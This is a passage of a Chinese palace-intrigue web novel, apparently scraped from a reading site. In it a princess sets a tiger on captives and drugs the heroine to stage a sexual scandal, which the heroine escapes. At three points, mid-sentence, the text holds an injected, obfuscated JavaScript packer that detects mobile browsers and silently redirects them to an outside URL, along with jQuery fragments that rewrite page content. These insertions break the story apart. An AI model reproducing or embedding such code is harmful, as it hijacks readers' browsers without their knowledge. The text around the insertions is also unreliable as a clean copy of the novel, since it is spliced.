更令人拍案叫绝的是,茅清兮射出的箭,不偏不倚,正中那三颗作为靶子的荔枝! 这力道,这准头,已然出神入化! “清兮,厉害!” 太子钱云霄难掩激动,毫不吝啬自己的赞美。 人群后,锦衣卫指挥使潘云霄静静伫立。 他奉命暗中保护公主府,却不曾想,竟能亲眼见证这般惊艳的箭术。 他知道茅清兮武艺不俗,却未料到,她对内力的掌控竟已到了如此地步,收放自如。 潘云霄心中微动,暗自思忖: “若此刻我与她交手,胜算……几成?” 他竟找不到一个确切的答案,心头泛起一阵复杂的滋味。 另一边,四公主的面色已然铁青,眼底的阴鸷几乎要化为实质。 喧闹声渐渐平息,众人也回过神来,这里终究是四公主府。 “怕是要出事……”有人窃窃私语,担忧地望向茅清兮。 只希望四公主的怒火,不要殃及池鱼。 “姐姐,你怎能干扰四公主殿下?” 茅暮暮突然越众而出,秀眉紧蹙,语气中带着几分责备。 “若非姐姐出手,那三箭定然是能射中的。” 说完,她福身一礼,姿态恭敬: “太子殿下,四公主殿下,是臣女的姐姐无状,臣女代姐姐向两位殿下赔罪。” 她这番话,倒是让四公主的脸色稍稍缓和。 四公主轻笑一声,话语中却透着彻骨的寒意: “还是你这妹妹懂事。没错,若不是她横插一手,本公主的箭岂会射偏?” 钱云霄眉峰紧锁,眼底掠过一丝不易察觉的厌恶。 他这三妹,行事荒唐也不是一日两日了。 若非今日他有要事,才不会来自家这妹妹的府邸。 还有茅暮暮,当真是拎不清! 不帮着茅清兮说话也就算了,还上赶着讨好起了四公主? 可怜茅暮暮还自以为得计,丝毫不知钱云霄对她的厌恶更深了一层。 茅清兮冷冷瞥了茅暮暮一眼,声音不大,却足以让在场所有人都听清: “茅二小姐慎言,我已与陆府再无瓜葛。” “姐姐……” 茅暮暮眼眶一红,泫然欲泣。 “就算姐姐不愿认我这个妹妹,可我心里……始终将姐姐当成亲人。” “闭嘴!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095772|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四公主毫不留情地打断,显然已经厌烦了透顶。 茅暮暮脸色一阵青一阵白,嘴唇哆嗦着,却再也说不出一个字。 她偷偷觑了钱云霄一眼,发现对方也是一脸的不耐烦。 手中丝帕几乎被绞烂,茅暮暮心中恨意翻涌。 她不明白,明明是茅清兮的错,为什么所有人都怪她? 外祖父明明答应过要帮她成为太子妃,可这么久了,寂静无声。 只是一味让她等,等到何时是个头? 不行,她不能再等下去了。 她急着上位,这样才不会再被人看不起! 至于茅暮暮的小心思,在场又有谁会在乎呢? 四公主的目光,始终锁在茅清兮身上,语气冰冷: “茅清兮,你搅了本公主的兴致,该当何罪?” “三妹!清兮也是为了救人……” 钱云霄急忙开口,试图劝解。 “哦?太子哥哥莫非觉得,我的箭术不精,会伤及无辜?” 四公主挑眉,反问道。 明眼人都看得出来,她就是在故意找茬。 可谁又敢当面忤逆她呢? 即便是钱云霄,也不愿与这个喜怒无常的妹妹撕破脸。 他只得干笑两声,道:“三妹说笑了,皇兄岂会如此想?” 四公主眼波流转,落在了被绑在靶子上的张家姐妹身上。 “怎么,你想救她们?” 茅清兮摇头。 她不是圣母,见不得世间疾苦,却也无力拯救所有人。 她之所以出手,不过是因为那三箭是因她而起。 若非她刺激了四公主,以四公主原本的箭术,虽会让那对姐妹受些皮肉之苦,倒也不至于危及性命。 何况,以她对四公主的了解,若自己此刻说想救人,还不知道这疯女人会想出什么更恶毒的法子来。 短短几次接触,茅清兮对这四公主已是厌恶到了骨子里。 四公主见茅清兮不答,索然无味地将弓往桌上一扔。 “啪”的一声,吓得众人一哆嗦。 再比箭术,她必输无疑。 可她又岂会轻易放过茅清兮? 好戏,还在后头呢。 “来人,把本公主的‘小可爱’带上来。” 四公主突然开口,语气中带着一丝兴奋。 众人一头雾水,面面相觑。 直到一名侍卫牵着一头斑斓猛虎走上前来,众人表情瞬间变得难看。 第一百六十八章 那猛虎身形巨大,足有两人来高,额头上一个大大的“王”字,威风凛凛。 别说是寻常百姓,就连见惯了猛兽的猎户,见了这阵仗也得吓得腿软。 人群顿时骚动起来,纷纷往后退去,生怕成了这猛虎的口中餐。 钱云霄也变了脸色,他早就听说过,这猛虎是尹家送给四公主的及笄礼,只是没想到竟如此凶猛。 “把她们放了。” 四公主懒洋洋地吩咐道。 几名侍卫上前,将张家姐妹从箭靶上解了下来。 张氏妹妹紧紧抱着姐姐,浑身抖个不停。 “跑啊,怎么不跑了?” 四公主的声音,如同鬼魅一般,在她们耳边响起。 孔氏姐妹哪里还敢跑,她们“扑通”一声跪倒在地,连连磕头: “四公主饶命!四公主饶命啊!” “饶命?” 四公主像是听到了什么好笑的笑话, “你们方才不是还牙尖嘴利得很吗?怎么,现在知道怕了?” 她俯下身,用手帕轻轻擦拭着猛虎的獠牙,漫不经心地说道: “本公主这‘小可爱’,可是饿了好几天了。” 说着,她轻轻拍了拍猛虎的头, “去吧,好好‘招待’她们。” 侍卫解开了猛虎脖子上的锁链。 猛虎低吼一声,缓缓朝张家姐妹逼近。 “不要……不要过来!” 张氏姐姐吓得魂飞魄散,她一把抓起妹妹,转身就跑。 可还没跑出几步,一支羽箭便射穿了她的腿。 “啊——!” 姐妹俩惨叫着跌倒在地,缩成一团。 “三妹!你疯了不成!” 钱云霄怒不可遏。 “太子哥哥这是作甚?” 四公主一脸无辜, “父皇可是亲口夸过我的‘小可爱’呢,莫非皇兄要质疑父皇的眼光?” 钱云霄一时语塞,脸色难看到了极点。 他自然不能反驳父皇的话。 可身为太子,当着这么多人的面,他岂能坐视不理? 只是,这三妹向来我行我素,连父皇的话都未必听得进去,更何况是他? “四公主殿下,我们错了,我们再也不敢了!” 张氏姐姐哭喊着,声音嘶哑。 “求求您,饶了我们吧!” 妹妹也跟着磕头,额头磕破了,鲜血直流。 “求我?” 四公主冷笑一声, “你们该求的,是她。” 她抬手,指向了茅清兮。 “她可是个大英雄呢,方才还‘救’了你们一命。” 四公主的语气中,充满了讥讽, “求她,说不定她大发慈悲,能救你们于水火之中呢。”“救命啊!” “宋姑娘,救救我们!” 孔氏姐妹连滚带爬地朝茅清兮这边奔来,脸上血泪交织,狼狈不堪。 身后,巨虎的咆哮声如影随形,每一下都像是催命的鼓点,让她们几近崩溃。 孔家姐姐不顾一切地抓住茅清兮的衣角,像是抓住了一线生机:“求您了!只要您救下我们,我们姐妹下辈子给您当牛做马,报答您的大恩大德!” 高台上,四公主看得兴致盎然,甚至还饶有兴致地挥了挥手,让侍卫暂时将猛虎拉住,欣赏着这出绝望的戏码。 茅清兮的目光从孔氏姐妹身上移开,落在远处高台上,与四公主对视。 “要怎样,你才肯放过她们?”她问,声音不大,却带着一种压迫感。 四公主挑了下眉,红唇轻启,吐出的话却如同淬了毒的刀子:“这嘛,得看你有多大本事了,有没有胆子下来走一遭了。” 说着,她还故意指了指靶场中央,那里,猛虎正焦躁地踱着步,血红的眼睛死死盯着这边的动静。 这话一出,原本就紧张的气氛瞬间凝固。 大家都知道,这北疆雪虎可不是闹着玩的,身形巨大,孔武有力,别说是一个弱女子,就算是身经百战的武将,赤手空拳对上它,也未必有胜算。 钱云霄面色一沉,刚要开口,却见四公主又补了一句。 “当然了,茅清兮,你也可以选择不救。毕竟……”四公主故意拖长了声音,语气里满是嘲讽,“你可是臧容白的夫人,身份尊贵着呢,要是为了两个不相干的人以身犯险,有个三长两短,那多不划算呀,你说是不是?” 她就是要逼茅清兮进退两难,左右不是。 “三妹,莫要胡闹。”钱云霄的语气重了几分,透着警告,“清兮是苏将军的妻子,如今苏将军正在前线为国征战,你如此行事,若是传出 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这一幕,惊呆了在场的所有人。 谁也没想到,茅清兮竟然真的敢应战,而且还是以这种决绝的姿态。 四公主脸上的笑容僵住了,取而代之的是一种难以置信的错愕。 潘云霄的眼神变得深邃,紧紧盯着茅清兮的身影,似乎想看透她到底有几分把握。 “吼——” 猛虎见猎物主动送上门来,兴奋地仰天长啸一声,四肢猛地发力,朝茅清兮扑了过去。 茅清兮不闪不避,反而迎着猛虎冲了上去。 她身形灵巧,如同穿花蝴蝶般,在猛虎的巨爪下穿梭。 猛虎的每一次攻击都落空,反而被茅清兮抓住机会,用短刀在它身上留下一道道血痕。 虽然这些伤口对猛虎来说并不致命,却成功激怒了它。 猛虎狂性大发,攻击越发猛烈,每一次扑击都带着雷霆万钧之势,似乎要将茅清兮撕成碎片。 茅清兮却始终保持着冷静,她一边躲避着猛虎的攻击,一边寻找着破绽。 突然,她眼睛一亮,瞅准一个机会,猛地跃起,跳到了猛虎的背上。 猛虎吃痛,疯狂地甩动着身子,想要将她甩下来。 第一百六十九章 茅清兮死死抓住猛虎的鬃**,另一只手则紧握短刀,对准猛虎的脖颈,狠狠刺了下去! “噗嗤——” 短刀没入猛虎的皮肉,鲜血喷涌而出。 猛虎发出一声哀嚎,身体剧烈地挣扎着,却无法摆脱茅清兮的控制。 茅清兮拔出短刀,再次狠狠刺下,反复几次,直到猛虎的动作越来越慢,最终轰然倒地。 全场鸦雀无声。 所有人都被这惊心动魄的一幕震撼了,久久无法回神。 四公主更是脸色铁青,指着茅清兮,半晌说不出话来。 她怎么也没想到,自己精心饲养的猛虎,竟然会被茅清兮如此轻易地杀死。 “好……好得很!” 四公主气极反笑,眼神阴鸷得可怕。 “茅清兮,你竟敢杀了本公主的宝贝,本公主绝不会放过你!” 茅清兮却像是没听到她的威胁一般,缓缓转过身,看向众人,脸上露出一抹淡淡的笑容: “今日难得,这虎肉滋味想必不错,大家都有口福了。” 她语气轻松,好像刚才只是做了一件微不足道的小事。 众人这才似月初醒,看着倒在地上的猛虎尸体,再看看毫发无损的茅清兮,只觉得背脊发寒。 谁也没想到,看起来媛媛弱弱的茅清兮,竟然有如此惊人的身手和胆识。 “这……” 有人刚想说什么,却被潘云霄打断。 “既然如此,那就多谢四公主款待了。”潘云霄上前一步,拱手道,“臣也想尝尝这北疆雪虎的味道,与大晋的有何不同。” 他这话,既是给茅清兮解围,也是在提醒四公主,不要忘了之前的承诺。 四公主恶狠狠地瞪了潘云霄一眼,却也知道此时不宜再发作,只能恨恨地拂袖而去。 钱云霄见状,连忙上前打圆场:“既然如此,大家就都尝尝吧。来人,把这虎肉抬下去,让御厨好生烹制,今日大家不醉不归!” 他使了个眼色,示意侍从赶紧将猛虎的尸体抬走,免得四公主反悔。 侍从们面面相觑,直到四公主的贴身侍女也示意后,才敢上前,七手八脚地将猛虎抬了下去。 茅清兮将短刀还给潘云霄,这才转身走向惊魂未定的孔氏姐妹。 两人紧紧抱在一起,看着茅清兮的眼神中既有感激,也有敬畏。 “你……你没事吧?”孔家姐姐颤声问道,声音里还带着一丝哭腔。 茅清兮摇摇头,示意自己没事。 她蹲下身,查看孔家姐姐腿上的伤口,发现箭矢已经深入骨肉,必须尽快处理。 “你忍着点。”茅清兮说着,从怀中取出一个小瓷瓶,倒出一些药粉,撒在伤口上。 然后,她又从袖中取出一把**,在火上烤了烤,对准箭矢,猛地一挑,将箭矢拔了出来。 “啊——” 孔家姐姐痛呼一声,脸色瞬间变得惨白。 茅清兮迅速用干净的布条将伤口包扎好,然后对孔家妹妹说:“扶你姐姐回去,找个大夫好好看看,这几日不要乱动,以免伤口感染。” “嗯嗯,谢谢……谢谢您!”孔家妹妹连连点头,扶着姐姐,一步一挪地离开了。 看着她们远去的背影,茅清兮轻轻叹了口气,希望她们能平安无事。张家姐妹一走,其他人也如坐针毡,尤其是那些家世不显的,生怕被四公主记恨上。 可谁又敢轻举妄动? 四公主一个眼刀飞过来,冷飕飕的: “怎么,这就想走了?是不把我的人放在眼里,还是不把我放在眼里?” 这话说的,让人进退两难。 谁都看得出,茅清兮这是把四公主给惹**了。 但又能如何? 茅清兮心如明镜,今天这事,怕是不能善了了。她跟四公主,早就势同水火。 就算她委曲求全,四公主也要找她麻烦。 想想之前的宁王妃,再到尹贵妃,如今又是四公主……这些位高权重的,可不是她低个头就能躲过去的。 茅清兮苦笑一声,落座,眼神却愈发坚定。 那些站起来的人,见状也只得硬着头皮坐下。 整个宴席,死一般的寂静。 谁也不知道,四公主下一步棋会怎么走。 终于,虎肉上来了,可谁还有心情动筷? 四公主脸上的阴霾倒是散了些,甚至还勾了勾嘴角: “怎么都不吃?” 茅暮暮心里那口气还没顺过来,今儿茅清兮居然全身而退。 她斜睨了茅清兮一眼,声音娇滴滴的: “四公主,臣女实在是不忍心,一想到这老虎生前也是活生生的……” 说着,还拿帕子拭了拭眼角,装得 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茅清兮也默默地夹了块肉,塞进嘴里。 这虎肉,又老又柴,还带着一股子腥味,实在难以下咽。 她硬着头皮吃了一块,就再也吃不下了。 其他人也差不多,做做样子罢了。 茅清兮本以为,这场闹剧该收场了。 谁知,四公主又来了兴致: “本公主的后花园里荷花,最近开得可好了,不如,移步去瞧瞧?” 谁敢说个“不”字? 茅清兮更是打起了十二分精神。 她猜不透四公主的套路,这女人,疯起来可没个准。 只能兵来将挡水来土掩了。 让茅清兮感到奇怪的是,除了府里的侍卫,四公主竟然还把锦衣卫给叫来了。 寻常人哪有这面子。 可见,四公主在皇上心中的分量,连潘云霄都得听她的调遣。 一行人跟着四公主往后花园走,一路上,众人看着盛放的菡萏,嘴里说着恭维的话。 四公主笑意盈盈,仿佛之前的不快都烟消云散了。 大家的心也跟着放了下来。 第一百七十章 唯独茅清兮,心头的不安越来越强烈。 四公主若真是个心胸宽广的,也不会跟冀容白纠缠这么些年了。 赏完了花,四公主又提议去凉亭喝茶。 男客们知趣地避开了,去了另一处亭子。 茶水刚沏好,侍女们正要端上来,四公主又发话了: “锦衣卫的弟兄们也辛苦了,去,给他们也倒上,润润嗓子。” 侍女们依言照做,将茶水一一送到锦衣卫面前。 潘云霄带头谢了恩。 茅清兮却感觉心跳都快停了。 四公主突然转过头,盯着她,似笑非笑: “茅清兮,听说你身手不错?要不,给大伙儿助助兴?” 茅清兮低眉顺眼: “臣妇粗鄙,哪会这些。” “哦?”四公主的语气冷了下来,“那你会什么?本公主可不喜欢被人三番两次地拒绝。” 茅清兮抬眼,目光坦然: “臣妇倒是还记得怎么杀虎,要不,再给大伙儿演练一遍?” 四公主的脸色,瞬间阴沉得能滴出水来。 “茅清兮,你好大的胆子!” 茅清兮知道,这回是彻底杠上了。 她原本不想跟四公主起冲突,可事到如今,也由不得她了。 她刚要起身请罪,眼前却突然一黑。 坏了! 茅清兮心头一凛,狠狠咬破舌尖。 还是着了道! 可这一路上,她入口的东西都仔细检查过,没发现任何异常。 这药,到底是怎么下的? 来不及细想,一个人影凑了过来,扶住了她。 不是绿绿,这气息,她从未见过。 “这是怎么了?可是身子不适?还不快扶到屋里歇着。” 四公主的声音,像是从很远的地方传来。 茅清兮用尽全力保持清醒,可意识却在一点点消散。 舌尖上的剧痛,让她勉强维持着一线神智。 两个侍女一左一右,把她架进了屋,扔到床上。 茅清兮头晕目眩,可她还在飞快地思考,四公主究竟想做什么? 直接杀了她? 不大可能。 这么多人看着,她要是出了事,就算四公主再得宠,也没法跟皇上交代。 况且,她跟冀容白,如今可是在一条船上,她要是没了,朝廷怎么跟北境的冀容白交代? 意识越来越模糊,脚步声再次响起,茅清兮拼命地想睁开眼睛。 “茅清兮,你也有今天。” 四公主的声音在房间里回荡,带着说不出的快意。 借着最后一丝清明,茅清兮看到,四公主居高临下地站在床边,脸上挂着得意的冷笑。 “想让本公主吃瘪?你还不够格。”她俯下身,凑近茅清兮,声音低沉而狠毒,“本公主今天,就要让你身败名裂,生不如死……” 四公主的眼神,像淬了毒的刀子,她缓缓抬起手,指着茅清兮,对身后的侍女下令: “去,给我找几个身强力壮的乞丐来,本公主要让她尝尝,什么叫‘求生不得,求死不能’!”“茅清兮,你也有今天!” 四公主的声音尖锐刻薄,像淬了毒的冰锥,狠狠扎进茅清兮的耳膜。 茅清兮一个激灵,原本混沌的大脑,稍稍清醒了些。 她细细咀嚼着四公主的话,每个字都透着阴狠,毫不掩饰其中的恶意。 四公主这是要毁了她! 在自己府上,光天化日、众目睽睽之下,设下这等毒计,当真够狠。 哪怕事后所有人都心知肚明,可她茅清兮的名声,也算是彻底毁了。 为了毁她,竟不惜搭上整个四公主府的清誉?! 茅清兮心头一阵恼恨,平日里这些下三滥的手段,她根本不放在眼里。 可恨就恨在,她毫无防备,着了道! 体内**乱窜,她越是用内力压制,越觉得五脏六腑都要烧起来,疼得她几乎要昏厥过去。 “呵,虎肉配玉露珠,茶里再加神仙草……” 四公主的声音,带着一丝扭曲的快意, “茅清兮,本公主倒要看看,你有多大本事,能解了这双重**!” 玉露珠! 茅清兮心中一凛,这可是寒星露解药中的关键一味药材! 她强撑着坐起身,死死掐住掌心,借着疼痛让自己保持清醒,咬牙问道: “你……手里有玉露珠?” “容白中了寒星露,我怎么舍得……让他死?” 提到冀容白,四公主脸上竟闪过一丝温柔,但转瞬即逝,又变得狰狞扭曲, “你也配在这指手画脚?从我记事起,冀容白就是我的!只有我才配得上他!” 她猛地欺身向前,死死盯着茅清兮,眼神怨毒无比: “为 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药效越来越强,茅清兮感觉自己快要支撑不住。 她死死咬住舌尖,强迫自己保持最后一丝清醒。 不行,不能就这么坐以待毙,得想办法自救。 她深吸一口气,强行运转内力,试图冲破**的束缚,可身体却完全不听使唤。 视线扫过四公主,她故意装作体力不支,缓缓闭上眼睛,向后倒去。 四公主见状,嘴角勾起一抹得意的冷笑,朝侍卫们抬了抬下巴。 侍卫们会意,上前将那名男子也扔到了床上,动作粗鲁至极。 “这潘云霄,中的可是特制的烈性**……” 四公主的声音,透着一股变态的兴奋,像是毒蛇吐出的信子。 她俯视着床上的两人,幽幽开口: “等药效发作,本公主倒要看看,你们能给本公主上演一出什么好戏!” 说完,她带着侍女,扬长而去,只留下满室的压抑与不祥。 “砰”的一声,房门被重重关上,仿佛将一切希望都隔绝在外。 “哗啦——” 四公主前脚刚走,原本“昏迷”的茅清兮就猛地翻身坐起,像一头蓄势待发的猎豹。 第一百七十一章 动作太大,眼前一阵发黑,险些又栽倒。 缓了好一会儿,她才勉强稳住身形。 身侧,传来一声低低的闷哼,像是野兽的低吼。 茅清兮心头一紧,猛地转头。 一抹寒光,直刺而来,带着凌厉的杀气! 竟是方才被抬进来的那个男人! 他醒了!而且……手里还拿着一把短刃! 电光火石之间,茅清兮来不及多想,腰身猛地一扭,一个不可思议的后仰。 堪堪避开刀锋。 短刃几乎是贴着她的鼻尖划过,带起一阵寒风。 她顺势贴着床沿,滑到了床边,与那男子拉开距离。 只见那男子双眼通红,满脸涨红,像一头被激怒的野兽,死死盯着她,仿佛要将她生吞活剥。 他呼吸粗重,口中发出含糊不清的嘶吼,挥舞着手中的短刃,再次朝她扑了上来。 “我们都被四公主算计了!” 茅清兮一边躲闪,一边急声大喊,试图唤醒他的理智, “我是茅清兮!咱俩可以搞个联动,想想办法一起离开这里!” 可那男子像是完全听不见她的话,眼中只有疯狂的杀意,不管不顾地朝她砍来。 茅清兮心中一沉。 这人的状态,明显不对劲,比她中的药还要厉害,怕是已经完全失去了理智。 看来,想跟他讲道理,是不可能了。 既然说不通,那就只能先制服他! 她目光一凛,不再躲闪,足尖一点,凌空跃起,身形矫健如燕。 那男子挥舞着短刃,胡乱劈砍,却连她的衣角都碰不到。 茅清兮瞅准机会,在半空中一个旋身,绕到那男子身后。 瞄准他的手腕,狠狠一脚踢去! “铛——” 短刃脱手,在空中划过一道弧线,发出一声脆响。 茅清兮眼疾手快,在空中接住短刃,反手一划。 “刺啦——” 床幔被割裂,扯出一道细长的绸带,落入她的手中。 那男子双眼通红,呼吸越发粗重,像是一头被逼到绝境的野兽。 茅清兮不敢大意,趁他还没反应过来,将布条甩出。 布条如灵蛇般飞舞,精准地缠住了那男子的身体,将他捆了个结结实实。 茅清兮顺势将他往床上一拽,又割下一条床幔,直接塞住了他的嘴,让他连喊都喊不出声。 做完这一切,她才发现,这被捆成粽子的男人,竟然是—— 潘云霄! 锦衣卫指挥使,潘云霄! 茅清兮惊愕不已,四公主竟然把潘云霄也弄来了? 她究竟想做什么? 难道……是想一箭双雕,把她和潘云霄一起除掉? 一番折腾下来,茅清兮也脱了力,跌坐在地上,大口喘着粗气。 她靠着床沿,冷冷看向被捆在床上的潘云霄。 只见他拼命扭动着身体,徒劳地摩擦着床柱,像一条被困住的虫子,丑态毕露。 茅清兮瞳孔一缩,随即“呸”了一声,满脸嫌恶。 什么锦衣卫指挥使,还不是个被下半身支配的禽兽! 她嫌恶地扯过一床被子,劈头盖脸地扔到潘云霄身上,来了个眼不见为净。 茅清兮闭了闭眼,努力平复着呼吸,让自己冷静下来。 必须尽快离开这里。 四公主随时可能带人来“捉奸”,她必须赶在那之前脱身。 她挣扎着站起身,一步步挪到门口。 可是,门被锁**。 窗户呢? 她又看向窗户,发现也都被封得严严实实,连条缝都没有。 强行破门而出,势必会惊动外面的人…… 怎么办? 茅清兮心急如焚,额头上渗出细密的汗珠,一颗心提到了嗓子眼。 就在这千钧一发之际—— “吱呀……” 左侧的窗户,突然被人从外面轻轻撬开,发出细微的声响。 谁?! 茅清兮心头一惊,猛地转头看去。 一个熟悉的身影,从窗外跳了进来。 “富峻?!” 茅清兮又惊又喜,悬着的心总算放下了一半。 “夫人!” 富峻压低声音,快步走到茅清兮身边,语气中带着一丝后怕: “属下来迟,夫人您没事吧?要是您出了事,主子非扒了我的皮不可!” “我没事,你来得正好。” 茅清兮顾不上寒暄,指了指被捆在床上的潘云霄, “四公主把他也弄来了,还给他下了药,我们得想办法离开这里。” 富峻顺着茅清兮的手指看去,只见潘云霄被五花大绑,仍在不停扭动,脸色涨得通红。 他眼中闪过一丝厌恶,低声问道: “夫人,这人怎么办?要不要属下……” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109644|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了个抹脖子的动作。 茅清兮摇了摇头: “先别管他,当务之急是离开这里。对了,四公主手里有玉露珠,那是救命的东西,我们得想办法弄到手。” 富峻闻言,脸色一肃: “玉露珠?属下明白了,此事包在属下身上。” 他走到潘云霄身边,眼中闪过一丝狠戾。 突然,他伸手在潘云霄腰后某个穴位上,狠狠一点。 潘云霄浑身一颤,像触电一样,从脸到脖子,瞬间红得像要滴血,整个人都僵住了,一动不动。 茅清兮一愣,疑惑地看向富峻: “你……对他做了什么?” 富峻嘿嘿一笑,一脸无辜地收回手: “没什么,就是给他个小小的教训,让他长点记性。” “快走吧,此地不宜久留。” 他岔开话题,从怀中掏出一个小瓷瓶,倒出一粒黑色的药丸,递给茅清兮: “这是沈大夫特制的解毒丹,夫人快服下,可以解百毒。” 茅清兮接过药丸,没有丝毫犹豫,一口吞下。 片刻之后,她感觉神清气爽,头脑清明,体内的**,似乎彻底被清除干净,浑身都充满了力量。 两人不再耽搁,低声商量了几句,便从窗户一跃而出。 他们都是轻功高手,沿着墙壁飞檐走壁,没有发出半点声响,如同暗夜中的幽灵,悄无声息地穿梭在夜色中。 突然,茅清兮停下了脚步,目光被一扇敞开的窗户吸引。 她透过窗户,看到了两个熟悉的身影。 钱云霄和茅暮暮?! 只见茅暮暮衣衫半解,媚眼如丝,正一步步走向昏睡在床上的钱云霄……“……院子里的人,都安排好了?” 四公主斜倚在贵妃榻上,指尖把玩着一串紫玉葡萄,眼尾轻轻挑起,漫不经心地问。 跪在榻前的侍卫,头颅低垂,几乎要埋进胸口: “回公主的话,都已妥善安置。门外亦有我们的人严密把守,确保无人能擅自离开。” “嗯……” 四公主满意地轻哼一声,对这结果颇为受用。 她慢条斯理地拈起一颗葡萄,送入口中。 身旁的侍女立刻训练有素地举起手,让她将葡萄皮吐在自己掌心。 她细细咀嚼着,又端起青瓷茶盏,轻轻抿了一口香茗,这才用一种近乎咏叹的语调缓缓开口: “太子那边呢? 第一百七十二章 可都……安排妥当了?” “回公主,已按您的吩咐,将茅二小姐……送过去了。”侍卫的声音里,带着一丝不易察觉的颤抖。 四公主唇角勾起一抹玩味的笑,那笑意,如同淬了毒的蜜糖: “这个茅暮暮,平日里看着蠢笨如猪,倒也有几分用处。” 她微微一顿,似乎在品味这其中的美妙滋味, “能让本公主那光风霁月的太子哥哥染上污点……也不枉本公主,顺手推她一把。” 她今日原本只打算对付茅清兮。 谁知太子钱云霄竟会突然到访。 他向来无事不登三宝殿,今日这般反常…… 四公主眼珠一转,心中已有了计较。 原本只想射一只鸟,如今看来,倒可以试试一石二鸟。 她要让全天下的人都看看,平日里道貌岸然的太子殿下,是怎样一副伪善的面孔! 最好能让他在大庭广众之下,与陆府那粗鄙的二小姐…… 光是想想那画面,四公主就觉得一阵兴奋。 茅暮暮那个蠢货,正好可以利用一番。 至于钱云霄,是休了她,还是娶了她,都够他头疼的了。 不过,眼下最重要的,还是茅清兮。 她要让茅清兮身败名裂,从此再无颜面纠缠她的容白哥哥! 正当她沉浸在自己的算计中时,一名内侍急匆匆来报,声音尖细而惶恐: “禀公主……圣上和栖阳长公主……驾到!” 四公主猛地起身,险些打翻了手边的茶盏。 脸上的笑容瞬间僵住,眼中闪过一丝慌乱,但很快又被她强行压了下去。 “这群人咋突然冒出来了?” 她低声自语,语气中带着一丝难以置信。 但眼下,不管他们因何而来,她都必须立刻出门迎接。 四公主深吸一口气,强迫自己冷静下来,理了理鬓边的碎发,快步走了出去。 四公主前脚刚走,茅清兮便如同鬼魅一般,无声无息地潜入了屋内。 她并不知晓玉露珠究竟是何模样, 但又不能逼迫四公主当面交出,只得在房中细细搜寻起来。 不多时,富峻也悄无声息地摸了进来。 他压低声音,用只有两人才能听见的音量说道: “夫人,那边都料理干净了。” “嗯。” 茅清兮微微颔首,示意他噤声。 她今日此举,并非针对茅暮暮, 而是有意敲打钱云霄。 说起来,她倒是挺想看看,钱云霄醒来后发现身边躺着茅暮暮,会是什么表情。 想必,会十分有趣。 两人分头行动。 一个翻箱倒柜,一个则仔细检查着墙上的挂饰和壁画。 茅清兮在一个不起眼的角落里,发现了一个暗格。 她轻轻一按,暗格缓缓打开,露出一个小巧的黄花梨木盒。 打开一看,里面是一个精致的白玉瓷瓶, 瓶身温润如玉,触手生凉。 她小心翼翼地拔开瓶塞, 一股若有似无的冷香,瞬间弥漫开来。 这味道…… 茅清兮微微蹙眉,似乎在哪里闻到过。 “夫人,可是这个?” 富峻不知何时凑了过来,指着那瓷瓶问道。 “你如何认得?” 茅清兮有些惊讶。 富峻挠了挠头,有些不好意思地说: “属下以前……咳,跟着主子走南闯北,见识过一些稀奇古怪的玩意儿。这玉露珠,其实是一种极寒之地生长的药草凝结出的露水,极难采集。主子曾经为了救人,费了好大劲才弄到一点。” 茅清兮这才恍然大悟。 原来,这玉露珠竟是如此珍贵之物。 怪不得四公主会如此宝贝。 她将瓷瓶收好,正欲离开, 屋外忽然传来一阵喧哗声,由远及近,越来越清晰。 “走!” 茅清兮低喝一声,与富峻对视一眼, 两人如同两道黑色的闪电,瞬间消失在屋内。 茅清兮使了个眼色,示意富峻先行离开。 而她自己,则悄无声息地隐入了一旁的假山石后。 她知道,此刻绝不能轻举妄动。 只见一群人正朝这边走来, 为首的,竟是圣上和栖阳长公主! 清韵郡主则紧紧跟在栖阳长公主身后,一张小脸绷得紧紧的,写满了担忧。 四公主则一脸殷勤地走在最前面, 一边引路,一边小心翼翼地解释着: “父皇,您怎么突然来了?也不提前知会儿臣一声,儿臣也好……” 她的话还没说完,就被圣上打断了。 “朕问你,茅清兮呢?” 圣上的声音,低沉而威严,带着一丝不容置疑的压迫感。 四公主心中一惊,但还是强作镇定地回答: “回父皇,茅清兮她……说是身子不适,儿臣安排人带她去房间睡了。” 她偷偷地观察着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109645|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上的脸色,心中暗自揣测着他此行的目的。 莫非……是为了茅清兮而来? 不可能! 茅清兮不过是个无足轻重的棋子,怎会惊动圣上? 四公主心中百转千回,面上却不敢露出丝毫破绽。 “带路。” 圣上惜字如金,语气中带着一丝不耐。 四公主不敢怠慢,连忙领着众人朝茅清兮所在的厢房走去。 她心中暗自得意。 等会儿,有好戏看了! 只要一想到茅清兮即将身败名裂, 她就忍不住一阵兴奋。 一行人来到了厢房外。 